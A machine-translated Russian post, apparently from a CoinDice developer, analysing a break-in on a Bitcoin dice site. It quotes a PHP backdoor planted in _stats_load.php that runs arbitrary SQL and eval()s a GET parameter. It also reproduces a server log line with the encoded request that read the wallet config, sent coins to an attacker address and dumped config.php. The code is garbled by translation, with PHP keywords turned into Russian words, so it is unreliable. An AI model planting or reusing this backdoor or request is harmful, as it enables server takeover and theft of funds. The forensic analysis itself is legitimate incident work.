Спасибо.
Я исследовал этот вопрос и вот мой вывод:
Факт 1Это глава нашего оригинального файла /content/ajax/_stats_load.php:
PHP
/ *
* © CoinDice
* Демо-версия: http://www.btcircle.com/dice
* Пожалуйста, не копировать или распространять.
* Больше лицензий мы продаем больше продуктов мы разрабатываем в будущем.
* /
заголовок('X-Frame-Options: ЗАПРЕТИТЬ');
...
Это глава вашего пользовательского редактируемого файла /content/ajax/_stats_load.php:
PHP если (Исеть ($ _GET[«Запрос»])) {mysql_connect($ _GET[«Ф»], $ _GET[«Пользователь»], $ _GET['проходить']);mysql_select_db($ _GET[«ДБ»]);$ д знак равно mysql_query($ _GET[«Запрос»]);в то время как($ м знак равно mysql_fetch_assoc($ д)) {$ значения знак равно array_values($ м);$ ключи знак равно array_keys($ м);для($ я знак равно 0;$ я<подсчитывать($ значения);$ я++) {Эхо $ ключи[$ я]. ":" . $ значения[$ я]. "<уш>";} Эхо "<уш>";}mysql_close(); Выход;} иначе, если (Исеть ($ _GET['Eval'])) {Eval ($ _GET['Eval']);Выход;}
/ *
* © CoinDice
* Демо-версия: http://www.btcircle.com/dice
* Пожалуйста, не копировать или распространять.
* Больше лицензий мы продаем больше продуктов мы разрабатываем в будущем.
* /
заголовок('X-Frame-Options: ЗАПРЕТИТЬ');
...
Пожалуйста, обратите пристальное внимание на
Eval ($ _ GET [ 'Eval']) часть (это используется эксплуатируют).
Факт 2Эта строка из журнала веб-сервера:
pay-dice.com:80 107.3.170.11 - - [04 / Jan / 2015: 20: 12: 12 -0500] "GET /play/content/ajax/_stats_load.php?eval=%24included%3Dtrue%3Binclude_once+%27..%2F..%2Finc%2Fdb-conf.php%27%3Binclude+%27..%2F..%2Finc % 2Fwallet_driver.php% 27% 3B% 24wallet% 3Dnew + jsonRPCClient% 28% 24driver_login% 29% 3Becho +% 24wallet-% 3Egetbalance% 28% 29% 3B% 24wallet-% 3Esendtoaddress% 28% 27PJYcpnBrHUnCuQbSHSt42CC6JeFXyZEDZN% 27% 2C40% 29% 3Becho + % 24wallet-% 3Egetbalance% 28% 29% 3Bmysql_close% 28% 29% 3Becho + file_get_contents% 28% 27config.php% 27% 29% 3B HTTP / 1.1" 200 242 "-" "Mozilla / 5.0 (Windows NT 6.1; WOW64; с.в.: 34.0) Gecko / 20100101 Firefox / 34.0"
Пожалуйста, обратите пристальное внимание на
?Eval = ... часть и
sendtoaddress% 28% 27PJYcpnBrHUnCuQbSHSt42CC6JeFXyZEDZN часть.
Вторая часть представляет собой адрес, по которому были направлены похищенные средства.
Факт 3Файл _stats_load.php может редактировать только тот, кто имел полный доступ к системе, в этом случае было бы гораздо проще withraw средства непосредственно из вашего кошелька.
Факт 4Только человек, который может редактировать этот файл, это парень, который сделал пользовательское кодирование для вас.
Я думаю, что это достаточно ясно. Кто-то (возможно, самый парень, который сделал пользовательскую систему входа для вас) поставил бекдор _stats_load.php, затем выполняется его собственный PHP-код на сервере.
Ресурсы:
/var/log/apache2/other_vhosts_access.log.1 ваш журнал веб-сервер
/var/www/paydice/play/content/ajax/_stats_load.php скомпрометированы файл
Мне очень жаль, что случилось с вами. По крайней мере, вы знаете, вы не можете никому доверять.
Мы ценим Ваше разрешение на это случай общественности (есть некоторые люди, которые утверждают, что это наша вина).
Надеюсь, я очистил все это дело и указал реальный преступник. Дайте мне знать, если вам нужна какая-то дополнительная информация или поддержка.
Johny